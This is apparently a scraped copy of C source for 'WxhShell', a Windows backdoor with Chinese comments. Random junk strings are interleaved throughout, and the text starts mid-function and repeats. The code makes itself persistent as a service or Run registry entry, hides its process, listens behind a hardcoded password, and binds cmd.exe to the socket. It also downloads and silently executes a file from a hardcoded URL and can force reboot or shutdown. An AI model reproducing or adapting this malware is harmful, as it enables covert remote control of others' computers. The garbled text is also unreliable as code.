(PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Hz?!BV0 F>dwL bnb if (!NtQueryInformationProcess) return 0; 4\N_ G
@ ~BZXt7DE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g5#CN:%f if(!hProcess) return 0; )N(9pnyZH 7DtIVMiK if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s`hav |gnAqkW0 CloseHandle(hProcess); ]@X{dc vv+D*e&< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5YiZ-CQ> if(hProcess==NULL) return 0; <jeh`g b5j*xZv
HMODULE hMod; k(P3LJcYQ char procName[255]; $$JIBf8 unsigned long cbNeeded; XHs d- [O2h-` if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }Y Q:6I P,i"&9 8 CloseHandle(hProcess); (w+%=z"M JO2xT#V if(strstr(procName,"services")) return 1; // 以服务启动 %>Bko,ET p8=|5. return 0; // 注册表启动 .o}%~g <d } flG=9~qcGQ 14H'!$ // 主模块 c/
_yMN int StartWxhshell(LPSTR lpCmdLine) K;x~&G0= { 6lsL^]7 SOCKET wsl; *Bs^NU. BOOL val=TRUE; %e{(twp int port=0; B7HQR{t struct sockaddr_in door; I"1CgKYK^+ I}+;ME|<2 if(wscfg.ws_autoins) Install(); >AG^fUArH h*s`^W3 port=atoi(lpCmdLine); =EW3&+Lt |5,<jyp if(port<=0) port=wscfg.ws_port; -es"0wS<u G>%AZr{M WSADATA data; =_
y\Y@J
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nUc;/ d&jjWlHgEN if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; s qpGrW. setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p0M=t- door.sin_family = AF_INET; QU/fT_ORw door.sin_addr.s_addr = inet_addr("127.0.0.1"); tz4
]hF door.sin_port = htons(port); FLZS K:3B] o G_C?(7> if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sTkkM9 closesocket(wsl); kUa)smh return 1; !>n|c$=;qk } A
WHU' s+,&|;Q if(listen(wsl,2) == INVALID_SOCKET) { #cU^U#;= r closesocket(wsl); hj!+HHYSk return 1; I@\+l6&#; } q[d)e6
Wxhshell(wsl); x<ax9{ WSACleanup(); [i7YVwG4 51 b y return 0; [2
zt ^ $^_|j1z#i } |g-b8+.=] cp6WMHLj // 以NT服务方式启动 s-rfS7; VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !aNh! { sJZ!sznn DWORD status = 0; s0C:m DWORD specificError = 0xfffffff; =o^|b ih U)D[]BVg serviceStatus.dwServiceType = SERVICE_WIN32; 8SC%O\, serviceStatus.dwCurrentState = SERVICE_START_PENDING; M#,Q
^rH# serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }Qr6l/2 serviceStatus.dwWin32ExitCode = 0; Br5o7(AE serviceStatus.dwServiceSpecificExitCode = 0; TDNf)Mm serviceStatus.dwCheckPoint = 0; PJLR<9 serviceStatus.dwWaitHint = 0; p
&(OZJT v]"L]/" hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !HK^AwNY if (hServiceStatusHandle==0) return; ;inzyFbL= jz'< status = GetLastError(); UMMB0(0D if (status!=NO_ERROR) <
<Y}~N { \9{F5Sz serviceStatus.dwCurrentState = SERVICE_STOPPED; $uh z serviceStatus.dwCheckPoint = 0; q%/uQT? serviceStatus.dwWaitHint = 0; e8P-k3a"5: serviceStatus.dwWin32ExitCode = status; OB-Q /?0 serviceStatus.dwServiceSpecificExitCode = specificError; q]% T:A= SetServiceStatus(hServiceStatusHandle, &serviceStatus); aP-<4uGx return; c EnkU] } jO~:<y3
= SOf{Hx0C6 serviceStatus.dwCurrentState = SERVICE_RUNNING; !>$4]FkV serviceStatus.dwCheckPoint = 0; 4QHS{tj serviceStatus.dwWaitHint = 0; /JJw 6[N if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :t("L-GPW } Shr,#wwM`B !Ng=Yk>3 // 处理NT服务事件,比如:启动、停止 Wp0
Dq( VOID WINAPI NTServiceHandler(DWORD fdwControl) R^#@lI~ { 3gZ8.8q3 switch(fdwControl) #*%q'gyHT { 'lz"2@4{ case SERVICE_CONTROL_STOP: b~m2tC=AW serviceStatus.dwWin32ExitCode = 0; p#P~Q/; serviceStatus.dwCurrentState = SERVICE_STOPPED; XGrue6ya serviceStatus.dwCheckPoint = 0; w'T q3-%V serviceStatus.dwWaitHint = 0; XXZaKgsq { / |r' SetServiceStatus(hServiceStatusHandle, &serviceStatus); p=Q0!!_r } 3VO2,PCZ return; u+m,b76 case SERVICE_CONTROL_PAUSE: */qtzt serviceStatus.dwCurrentState = SERVICE_PAUSED; r=uN9ro break; pKUP2m`MW case SERVICE_CONTROL_CONTINUE: kOwMs<1J serviceStatus.dwCurrentState = SERVICE_RUNNING; C4$:mJ>y break; "r4AY case SERVICE_CONTROL_INTERROGATE: ;|T!#@j break; d*8 $>GA }; xM >W2 SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4R^mI } !|hoYU>@2L '@|_OmcY // 标准应用程序主函数 CqMhk int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) n:
ui { f"[J"j8 ?t&kb7 // 获取操作系统版本 fEf_F
r OsIsNt=GetOsVer(); 7,qYV} GetModuleFileName(NULL,ExeFile,MAX_PATH); 5zJj]A 96cJ8I8 // 从命令行安装 BF*kb2"GZ6 if(strpbrk(lpCmdLine,"iI")) Install(); v4,h&JLt z}QwP~Z // 下载执行文件 w27KI]%( if(wscfg.ws_downexe) { -H^oXeN if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vy2Q g
WinExec(wscfg.ws_filenam,SW_HIDE); =uk0@hy9b } x5`br.b /n~\\9#3 if(!OsIsNt) { GcIDG`RX // 如果时win9x,隐藏进程并且设置为注册表启动 l:0s2 HideProc(); z?/1Kj}xG StartWxhshell(lpCmdLine); #4MBoN(3 } Q)m4_+,d else uzmk6G
v if(StartFromService()) oVA?J%EK // 以服务方式启动 cMyiW$; StartServiceCtrlDispatcher(DispatchTable); ~vmdXR`'T else v 8T$ &-HJ // 普通方式启动 h5%<+D< StartWxhshell(lpCmdLine); t"hYcnC t*z~5_/ return 0; 3~,d+P } tO7v4 `p;eIt N8qDdr9p?c xq-17HKs =========================================== bfB\h*XO ;Op3?_ U4m9e|/H;z lzw3= H (8v7|Pe8 vS\%3A4^+5 " G+B~Ix- {o5V7*P;_ #include <stdio.h> l"\~yNgk #include <string.h> FX9F"42@ #include <windows.h> k(zsm"<q #include <winsock2.h> ,Jc m+Wb #include <winsvc.h> ^TMJ8`e #include <urlmon.h> 0|R# Tb;Y fLV"T_rk #pragma comment (lib, "Ws2_32.lib") y=In?QN{6* #pragma comment (lib, "urlmon.lib") z0|&W&&D k>t)g-,2 #define MAX_USER 100 // 最大客户端连接数 kYzC#.|1 #define BUF_SOCK 200 // sock buffer 8ElKD{.BU8 #define KEY_BUFF 255 // 输入 buffer &/Ro lIHF 4iW'kuK #define REBOOT 0 // 重启 XU+<?%u}z #define SHUTDOWN 1 // 关机 !LkWzn3 AuR$g7z #define DEF_PORT 5000 // 监听端口 \~LQ%OM ,K:ll4{b #define REG_LEN 16 // 注册表键长度 F4<O2!V #define SVC_LEN 80 // NT服务名长度 P2nft2/eu? spasB=E // 从dll定义API k}KC/d9.z typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9-]i.y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LH:i| I typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^(*n] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jy]JiQB w.&1%X(k // wxhshell配置信息 vD 5vbl struct WSCFG { q>w)"Dd int ws_port; // 监听端口 k</%YKk char ws_passstr[REG_LEN]; // 口令 $9S(_xdI& int ws_autoins; // 安装标记, 1=yes 0=no b)9'bJRvU char ws_regname[REG_LEN]; // 注册表键名 ~rjTF! char ws_svcname[REG_LEN]; // 服务名 +za8=`2o char ws_svcdisp[SVC_LEN]; // 服务显示名 c5|:,wkx char ws_svcdesc[SVC_LEN]; // 服务描述信息 E~LTb)
! char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4A9{=~nwT int ws_downexe; // 下载执行标记, 1=yes 0=no iS5W>1] char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q5>v'ZSo char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PQ@L+],C tDr#H!2
3 }; ;Jd3u
- M>M`baM1 // default Wxhshell configuration W+*5"h struct WSCFG wscfg={DEF_PORT, Jv.UQ "xuhuanlingzhe", "bDs2E+W 1, P;pl,~ "Wxhshell", V5 U?F6 "Wxhshell", D~o$GW% "WxhShell Service", 6rS$yjTX! "Wrsky Windows CmdShell Service", y<b{Ji e "Please Input Your Password: ",
^Q&u0;OJ 1, w1UA?+43 "http://www.wrsky.com/wxhshell.exe", ~q&pF"va8 "Wxhshell.exe" :{(w3<i }; Z@Ae$ '9H W
d0NT@ // 消息定义模块 *Sh^J+j char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0j C3fT!n char *msg_ws_prompt="\n\r? for help\n\r#>"; inlk++Og char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $ cu00K char *msg_ws_ext="\n\rExit."; Kt0(gQOr0 char *msg_ws_end="\n\rQuit."; ""Q1| char *msg_ws_boot="\n\rReboot..."; TNJG#8 n%Y char *msg_ws_poff="\n\rShutdown..."; )/t?!T.[ char *msg_ws_down="\n\rSave to "; )*c>|7G eSW{Cb char *msg_ws_err="\n\rErr!";
Mkq( T[) char *msg_ws_ok="\n\rOK!"; J~(Wf%jM~ H~ u[3LQz char ExeFile[MAX_PATH]; 7)%+=@ int nUser = 0; $H$j-)\D HANDLE handles[MAX_USER]; hQNe;R5 int OsIsNt; `yF`x8 BPr^D0P SERVICE_STATUS serviceStatus; id?h >g SERVICE_STATUS_HANDLE hServiceStatusHandle; I}2P>)K Y?534l)j // 函数声明 ;Eec5w1 int Install(void); q64k7<C, int Uninstall(void); >c-fI$] int DownloadFile(char *sURL, SOCKET wsh); _20#2i& int Boot(int flag); >3u]OSb void HideProc(void); dJ?XPo"Cm= int GetOsVer(void); .vG,fuf8 int Wxhshell(SOCKET wsl); <W]g2>9o9 void TalkWithClient(void *cs); [yj).*0 int CmdShell(SOCKET sock); fm~kM
J int StartFromService(void); 0P>OJYFr' int StartWxhshell(LPSTR lpCmdLine); wM_c48|d L#)(H^[ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XlI!{qj| VOID WINAPI NTServiceHandler( DWORD fdwControl ); [31p&FxM &Z?ut*%S // 数据结构和表定义 8.bKb<y SERVICE_TABLE_ENTRY DispatchTable[] = D#S\!>m { w:'dhr': {wscfg.ws_svcname, NTServiceMain}, $BmmNn# {NULL, NULL} PA w-6; }; 1c+]gIe A8A~!2V // 自我安装 XBQ\_2> int Install(void) i
ZL2p> { fIF<g@s char svExeFile[MAX_PATH]; d*pF> j HKEY key; a{Esw` strcpy(svExeFile,ExeFile); Z`3ufXPNlO v+"rZ // 如果是win9x系统,修改注册表设为自启动 #}^-C&~ if(!OsIsNt) { ``ekR6[ 8c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7kKy\W RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sS
TPMh RegCloseKey(key); Nx#4W1B[`H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .k4W_9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r3rxC& RegCloseKey(key); 63?)K s return 0; z'p:gv] } k#bu#YZk } Y,8KPg@W } ENh!N4vbO else { 2}?wYI*:5| M\b")Tu{0 // 如果是NT以上系统,安装为系统服务 :T3/yd62N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .ut{,(5 if (schSCManager!=0) dMx4ykrR { (eCFWmO SC_HANDLE schService = CreateService Pag63njg? ( hgRVwX schSCManager, vhr+g 'tf wscfg.ws_svcname, }_QKJw6/" wscfg.ws_svcdisp, @&1Wyp SERVICE_ALL_ACCESS, 1G~S|,8p SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /RLq>#:h** SERVICE_AUTO_START, Y<\^7\[x SERVICE_ERROR_NORMAL, /W#O + svExeFile, &$`hQgi NULL, 0e["]Tlnm NULL, 2Ha5yaTL NULL, $3=:E36K NULL, iNCX:Y NULL gJ2
H=#M ); )_zlrX if (schService!=0) 1-I
Swd'u { 3HyhEVR-#~ CloseServiceHandle(schService); F="z]C;u CloseServiceHandle(schSCManager); #iSFf strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gM;}#>6 strcat(svExeFile,wscfg.ws_svcname); wN37zPnV~ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { TY;U2.Ud RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u"$a>S_ RegCloseKey(key); N$?cX(|7 return 0; e1
*__' } BH0!6Oq } SP
2 8 CloseServiceHandle(schSCManager); *.y' (tj[ } #:3r4J%+~ }
yeD_j/ ?BCy J return 1; Tc
ZnmN } {7Cx#Ewd pt:;9hA // 自我卸载 r
-f int Uninstall(void) eNySJf { o%(bQV-T HKEY key; VlW9UF-W 5{>0eFzG if(!OsIsNt) { Z$K+
7>^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]S8LY.Az5 RegDeleteValue(key,wscfg.ws_regname); yYAnwf RegCloseKey(key); !awh*Xj6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sz09+4h# RegDeleteValue(key,wscfg.ws_regname); EHf)^]Z RegCloseKey(key); z<C[nR$N return 0; _[E \= } cV$lobqO } &>}.RX]t } C@dGWAG else { +}!DP~y+ `6 Y33bQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2tr
:xi@ if (schSCManager!=0) e&J3N { C@@$"}%v2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); cIw
eBDl if (schService!=0) 'tWAu I { j8HOc( if(DeleteService(schService)!=0) { WEa>)@ CloseServiceHandle(schService); 2:J,2=% CloseServiceHandle(schSCManager); <Ry$7t, return 0; BF|*"#s } 4]6 Qr CloseServiceHandle(schService); (L#%!bd } EODB`$+ CloseServiceHandle(schSCManager); GJak.,0t } oa0X5}D } ^@_).:oX7 qyv"Wb6+ return 1; ,+-? Zv 2 } xURw, agY5Dg7 // 从指定url下载文件 w`#fH int DownloadFile(char *sURL, SOCKET wsh) 8IWwjyRr { T'R,vxP)\ HRESULT hr; IIP.yyh> char seps[]= "/"; xKW"X
char *token; A70(W{6a9@ char *file; I<`V_ char myURL[MAX_PATH]; Yq0# #__ char myFILE[MAX_PATH]; }N| \ n#>5?W strcpy(myURL,sURL); K`gc 4:A token=strtok(myURL,seps); n!?r } n8 while(token!=NULL) lM&UFEl-\ { t&pGQ file=token; T&4fBMBp,% token=strtok(NULL,seps); k#jm7 + } V2QW\2@$ poY8
)2 GetCurrentDirectory(MAX_PATH,myFILE); [0(mFMC` strcat(myFILE, "\\"); RO$*G
jQd strcat(myFILE, file); &E]"c]i+ send(wsh,myFILE,strlen(myFILE),0); 'RQiLUF send(wsh,"...",3,0); [)iN)$Mv hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FoLDMx( if(hr==S_OK) a|z1K return 0; ?1$\pq^ else D8 wG!X return 1; l]u7.~b `OLB';D } C,3T!\ XJ\_V[WA // 系统电源模块 Q6|@N~UeZ int Boot(int flag) ?M]u$Te/. { aLHrl6" HANDLE hToken; I2W{tl TOKEN_PRIVILEGES tkp; G
"c/a8 N&,"kRFFo if(OsIsNt) { AD,@,|A OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0O^U{#*$I LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WSSaZ9
= tkp.PrivilegeCount = 1; .:SfMr;G tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >["Kd.ye AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }R\B.2#M_@ if(flag==REBOOT) { z(r"JNO@ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wV?[3bEhM return 0; I>!|3ElT } L% zuI& q else { -/1d& if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HK?Foo? return 0; ?SB5b , } ,qYf#fU#7 } VJGwd`qo*A else { gMCy$+? if(flag==REBOOT) { z{AM2Z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <)"iL4 kDI return 0; td%Y4-+ - } T<_+3kw else { ;\1b{-' l if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^1()W,B~w return 0; :0{AP_tvcC } yM W'-\ } '\4c "Ho zCyR<as7 return 1; tYF$#Nor#k } T$f:[ye]Z wbo{JQ // win9x进程隐藏模块 O#A8t<f|M void HideProc(void) 8U8P
g2 { 5Gc_LI&v7 &`-_)~5] HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ug%<b if ( hKernel != NULL ) V,`!rJ { /YS@[\j4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wA{*W>i ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `4se7{'UK` FreeLibrary(hKernel); V}j%gy` } X^u4%O[' VZAuUw+M return; A&xab } !k4 }v'= p`shYyE // 获取操作系统版本 [P (rY int GetOsVer(void) MH C.k= { 5)h+(u C3 OSVERSIONINFO winfo; kq-mr winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); JS }_q1H GetVersionEx(&winfo); #p']-No if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BXagSenc return 1; [1t\|v else 3RBpbTNWp return 0; ^p{A!I! } WV5r$ HQ ELK // 客户端句柄模块 m~A[V,os int Wxhshell(SOCKET wsl) hpd(d$j { PT
0Qzg SOCKET wsh; u&hDjE struct sockaddr_in client; Z1XUYe62 DWORD myID; O6*'gnke m70`{-O while(nUser<MAX_USER) FN{H\W1cf { LZ=wz.'u int nSize=sizeof(client); G.A=hGw wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #"3[f@|e if(wsh==INVALID_SOCKET) return 1; `8$:F4%P IN]`lJ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?0 KiR? if(handles[nUser]==0) :pL1F)-* closesocket(wsh); M6o
xtt4 else {ziYd;Ys1 nUser++; u&?yPR }
o>/uW8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); % 8rr*l5 E< io^ return 0; W07-JHV% } 0XBBA0tq CWobvR)e // 关闭 socket .P|+oYT&g void CloseIt(SOCKET wsh) jWO&SW so { 46Y7HTwE closesocket(wsh); u`L!za7fi nUser--; &Cx yP_ ExitThread(0); &"~,V6,q } HlOAo:8' Q+y-*1
// 客户端请求句柄 MIk #60Ab void TalkWithClient(void *cs) x0AqhT5} { )Bm^aMVl3 @vQ;>4 i. SOCKET wsh=(SOCKET)cs; M;S-ESQ char pwd[SVC_LEN]; OW[/%U> char cmd[KEY_BUFF]; k`iq<b char chr[1]; |2+F I<v4 int i,j; )+Y\NO?O N~Sue while (nUser < MAX_USER) { SzgY2+Qq btB(n<G2# if(wscfg.ws_passstr) { |RvpEy76 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Hm8EYPrJ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nCSd:1DY //ZeroMemory(pwd,KEY_BUFF); iBPdCp%]` i=0; @Z=y'yc'y. while(i<SVC_LEN) { x9{Sl[2& 7Da^Jv k // 设置超时 BHRrXC\ fd_set FdRead; ,Rr&. struct timeval TimeOut; s6eq?1l3 FD_ZERO(&FdRead); dTU.XgX)1^ FD_SET(wsh,&FdRead); *fuGVA TimeOut.tv_sec=8; oN1wrf}Sh TimeOut.tv_usec=0; AIRVvW~($ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,uqbS if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MIua\:xT [jtj~]&mO if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); At^DY!3vx pwd=chr[0]; NdED8 iRc if(chr[0]==0xd || chr[0]==0xa) { pFv[z':&Q pwd=0; _>:=<xyOq break; RGPU~L } xzGsfd i++; '\E*W!R.] } iw]BQjK oE|{|27X // 如果是非法用户,关闭 socket C{I8Pio{b if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EuimZW\V } E*!zJ,@8 A](}"Pi!n send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JXR/K=<^ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @*`UOgP7 /o06h y while(1) { K&a]pL6D 'y@ 2,9v ZeroMemory(cmd,KEY_BUFF); Z=/L6Zb f6_|dvY3 // 自动支持客户端 telnet标准 : z,vJ~PW j=0; /Geks/ while(j<KEY_BUFF) { =x.v*W]F` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `\u),$ cmd[j]=chr[0]; Go+,jT- if(chr[0]==0xa || chr[0]==0xd) { s"Pk-Dv cmd[j]=0; fM[fS?W break; )eGu4iEPM } #?|1~HC j++; kFZu/HRI } 0-MasI&b Z$=$oJzB // 下载文件 yLa5tv/ if(strstr(cmd,"http://")) { tS/APSY send(wsh,msg_ws_down,strlen(msg_ws_down),0); d~f0]O if(DownloadFile(cmd,wsh)) i^V4N4ux] send(wsh,msg_ws_err,strlen(msg_ws_err),0); wk
<~Y 3u else \w\47/k{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H=SMDj)s+ } WMRgf~TY=2 else { ]` Gz_e i2R]lE8 switch(cmd[0]) { )^@V*$D cw-JGqLx // 帮助 52R.L9Ai case '?': { FbNQ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GN"LU>9| break; -+2xdLa63 } Y%cA2V\#m // 安装 uC ;PP=z case 'i': { zgOwSg8 if(Install()) k.f:nv5JO send(wsh,msg_ws_err,strlen(msg_ws_err),0); :qKY@-t7H else E6\~/=X=% send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); FrM~6A_ break; TZ_'nB~ } 'Bn_'w~j{ // 卸载 6D]G*gwk[ case 'r': { e$|)wOwU if(Uninstall()) ~l(tl[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); jsht2]iq3K else `fh_8%m]* send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s|`)' break; (w } n&&U9sf? // 显示 wxhshell 所在路径 fszeJS}Dw case 'p': { Mp}NUQHE char svExeFile[MAX_PATH]; /3%xQK>% strcpy(svExeFile,"\n\r"); $ =a$z" strcat(svExeFile,ExeFile); e[o
;l
send(wsh,svExeFile,strlen(svExeFile),0); <G =@Gl break; F09AX'nj } Eu~wbU"% // 重启 N>\?Aeh case 'b': { X.5LB!I) send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #$T"QL@ if(Boot(REBOOT)) $F$R4?_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); L 'Rapu else { [,X,2 closesocket(wsh); q9]L!V9Rv ExitThread(0); .[s82c]]6 } H5t`E^E break; |.W;vc < } glIIJ5d|, // 关机 YIqfGXu8 case 'd': { cYS+XBz send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k;X1x65uP if(Boot(SHUTDOWN)) h(up1(x send(wsh,msg_ws_err,strlen(msg_ws_err),0); JPKZU<:+V else { P#oV ^ closesocket(wsh); ?"u-@E[m ExitThread(0); rJj~cPwL" } E.9k%%X] break; >xgd< } W}3vY] // 获取shell EOC"a}Cq- case 's': { LRs;>O CmdShell(wsh); ?QVI'R:Z? closesocket(wsh); KK|Jach ExitThread(0); I/|n
ma/ $ break; 63$m& ]x } !-~(*tn // 退出 )5x?Qn (B case 'x': { rNp#5[e send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); LXl! !i% CloseIt(wsh); eQj/)@B:V break; WQ`T'k#ESW } #IDCCD^1= // 离开 px@\b]/ case 'q': { `$- Ib^ send(wsh,msg_ws_end,strlen(msg_ws_end),0); nsk
6a closesocket(wsh); E~^'w.1 WSACleanup(); s6uAF(4, exit(1); ry"zec
B break; H)tDfk sq\ } \>k+Oyj } cw{[B%vw } Fwqf4&/ o5R40[" // 提示信息 <X*8Xzmv if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3s2M$3r)6 } pM3BBF% } SGm?"esEt oJ:J'$W( return; g (k|"g`* } g!ww;_ UepBXt3) // shell模块句柄 63=m11Z4 int CmdShell(SOCKET sock) b??1Up { M5uN1* STARTUPINFO si; g_U69
z ZeroMemory(&si,sizeof(si)); ~JpUO~i/ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {J$aA6t:"T si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X $f%Ss PROCESS_INFORMATION ProcessInfo; 8vK&d> char cmdline[]="cmd"; _L":Wux CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l.$#IE return 0; 6tguy } m@YLZ -}@9lhS, // 自身启动模式 Df (6DuW int StartFromService(void) "T|\ { s9iM hCu| typedef struct oWmla*nCKL { Sls>
OIc DWORD ExitStatus; }JD(e}8$! DWORD PebBaseAddress; e=2D^G#qE DWORD AffinityMask; 32yNEP{ DWORD BasePriority; sXu]k#I^" ULONG UniqueProcessId; @^Oww(I ULONG InheritedFromUniqueProcessId; }8HLyK,4 } PROCESS_BASIC_INFORMATION; PW}.` )c/]
8KU PROCNTQSIP NtQueryInformationProcess; 2olim1 `c(@WK4 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |wDCIHzQ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U,'n}]=4A3 jJ|;Nwm<[ HANDLE hProcess; 7F.,Xvw&@ PROCESS_BASIC_INFORMATION pbi; :Lx]`dSk r`2& o HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E'Bt1u if(NULL == hInst ) return 0; L6m'u6:1{ a|.u; g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y_6HQ: g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); < -Nj NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _bX)fnUu 7u zN/LAF if (!NtQueryInformationProcess) return 0; {-xnBx DxlX- hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {#vo^& B if(!hProcess) return 0; b7-a0zaN b{&@Lm0Tn if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g=)@yZ3>v Z]tz<YSkG CloseHandle(hProcess); b|N EU-oy ?CIa)dhu hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5GKz@as8 if(hProcess==NULL) return 0; (<h,R@: *b&| HMODULE hMod; ,0~=9dR char procName[255]; 7$ 'ja unsigned long cbNeeded; n3(HA _/Hu'9432 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E~B
